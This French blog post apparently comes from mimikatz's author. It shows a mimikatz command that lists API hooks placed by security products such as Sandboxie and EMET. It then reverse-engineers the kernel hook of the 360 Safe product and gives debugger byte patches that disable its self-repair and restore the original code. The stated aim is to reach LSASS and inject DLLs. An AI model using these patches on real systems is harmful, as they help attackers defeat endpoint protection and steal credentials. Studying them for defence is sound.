mimikatz n’aime pas les Detours

peng_flowers

Un nombre relativement important de produits de sécurité utilise maintenant la librairie Detours de Microsoft.

Cette librairie facilite la mise en place de hooks inline dans ses propres applications, ou dans des processus externes via l’injection d’une librairie.

Software package for re-routing Win32 APIs underneath applications.

http://research.microsoft.com/projects/detours/

Ces hooks, qu’ils soient posés via Detours ou non, s’opèrent majoritairement par le remplacement des 5 premiers octets d’une fonction par un saut inconditionnel vers une autre fonction.
pour des contrôles de sécurité, modifier des paramètres, altérer le comportement, journaliser…

Mais où se trouvent ces hooks ?
Une petite commande a été codé rapidement : misc::detours

  .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Aug 24 2013 20:44:17)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz
  '#####'                                    with   8 modules * * */

mimikatz # misc::detours
AcroRd32.exe (1020)
	kernel32.dll ! CreateProcessA           0000000074E91072 -> 0000000000230070
	kernel32.dll ! CreateProcessW           0000000074E9103D -> 0000000000230030
	KERNELBASE.dll ! CreateEventW           00000000751C119F -> 0000000000240030
	KERNELBASE.dll ! OpenEventW             00000000751C11CF -> 0000000000240070
notepad.exe (4316)
	ntdll.dll ! LdrLoadDll                 	0000000076E57AC0 -> 000000006D5EE1C0	(SbieDll.dll)
	ntdll.dll ! LdrUnloadDll               	0000000076E53B10 -> 000000006D5ECF40	(SbieDll.dll)
	ntdll.dll ! NtAdjustPrivilegesToken    	0000000076E816C0 -> 000000006D5FAD60	(SbieDll.dll)
	ntdll.dll ! NtAlpcConnectPort           0000000076E819F0 -> 000000006D5E2FE0	(SbieDll.dll)
	ntdll.dll ! NtAlpcCreatePort            0000000076E81A00 -> 000000006D5E2E30	(SbieDll.dll)
	[...]
	USER32.dll ! UnregisterClassA           0000000076879E70 -> 000000006D5DA2A0	(SbieDll.dll)
	USER32.dll ! UnregisterClassW           000000007687D464 -> 000000006D5DA210	(SbieDll.dll)
plugin-container.exe (2616)
	USER32.dll ! GetWindowInfo              0000000074771BBF -> 00000000627EC6FD	(xul.dll)
FlashPlayerPlugin_11_8_800_94.exe (5516)
	kernel32.dll ! CreateProcessA           0000000074E91072 -> 00000000000A0070
	kernel32.dll ! CreateProcessW           0000000074E9103D -> 00000000000A0030
	KERNELBASE.dll ! CreateEventW           00000000751C119F -> 00000000000F0030
	KERNELBASE.dll ! OpenEventW             00000000751C11CF -> 00000000000F0070
	GDI32.dll ! AbortDoc                    00000000748F3ADC -> 0000000000120030
	GDI32.dll ! AddFontResourceW            00000000748ED2B2 -> 0000000000120BF0
	[...]
	ole32.dll ! OleGetClipboard             0000000074A8FDCD -> 00000000001500B0
	ole32.dll ! OleIsCurrentClipboard       0000000074A636B2 -> 0000000000150070
	ole32.dll ! OleSetClipboard             0000000074A60045 -> 0000000000150030
	MPR.dll ! WNetAddConnection2W           0000000072A94744 -> 00000000003200B0
	MPR.dll ! WNetGetResourceInformationW   0000000072A9389D -> 0000000000320070
	MPR.dll ! WNetGetUniversalNameW         0000000072A9D34E -> 0000000000320030

Vous pourrez facilement retrouver SandBoxie, EMET, Adobe, Flash, etc.
Peut-être même quelques antivirus ou HIPS…

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz (répertoire alpha)

(ne pas oublier privilege::debug pour inspecter les processus différents des siens)

360 Safe et hook noyau

Un billet rapide sur une protection m’ayant surpris : 360 Safe de nos amis chinois… (http://www.360.cn/)

Ce sacripant, même « désactivé » empêche certains accès à LSASS, et sans doute d’autres comportements déviants (en tout cas en x86).
Plutôt que de manipuler la SSDT, un pilote (hookport) place quelques trampolines dans la routine de répartition KiFastCallEntry, et s’assure du maintien de ces derniers :

kd> u nt!KiFastCallEntry+0xe1
nt!KiFastCallEntry+0xe1:
8283f241 8b1487          mov     edx,dword ptr [edi+eax*4]
8283f244 e98f7adc02      jmp     85606cd8 ; trampoline vers les fonctions "HIPS", remplaçant le code original
[…]
kd> u 85606cd8 l1
85606cd8 e92bd5f4fd      jmp     Hookport+0xb208 (83554208) ; second trampoline vers les fonctions "HIPS" de 360
kd> u Hookport+0xc401 ; portions du pilote réécrivant le trampoline
Hookport+0xc401:
83555401 ffa1886a5583    jmp     dword ptr Hookport+0xda88 (83556a88)[ecx]
83555407 c600e9          mov     byte ptr [eax],0E9h  ; instruction ‘jmp’
8355540a a1886a5583      mov     eax,dword ptr [Hookport+0xda88 (83556a88)]
8355540f 8b0d786a5583    mov     ecx,dword ptr [Hookport+0xda78 (83556a78)]
83555415 894801          mov     dword ptr [eax+1],ecx ; pointeur vers le premier trampoline

Ce correcteur n’est lui même pas très protégé :

kd> f 83555407 l3 90 ; nop nop nop ;)
Filled 0x3 bytes
kd> f 83555415 l3 90 ; nop nop nop ;)
Filled 0x3 bytes
kd> eb 8283f244 2b e1 c1 e9 02 ; instructions originales remplaçant le premier trampoline

A nous l’injection de DLL, ou autres joyeusetés !

Finalement le plus compliqué est d’installer le produit, en Mandarin…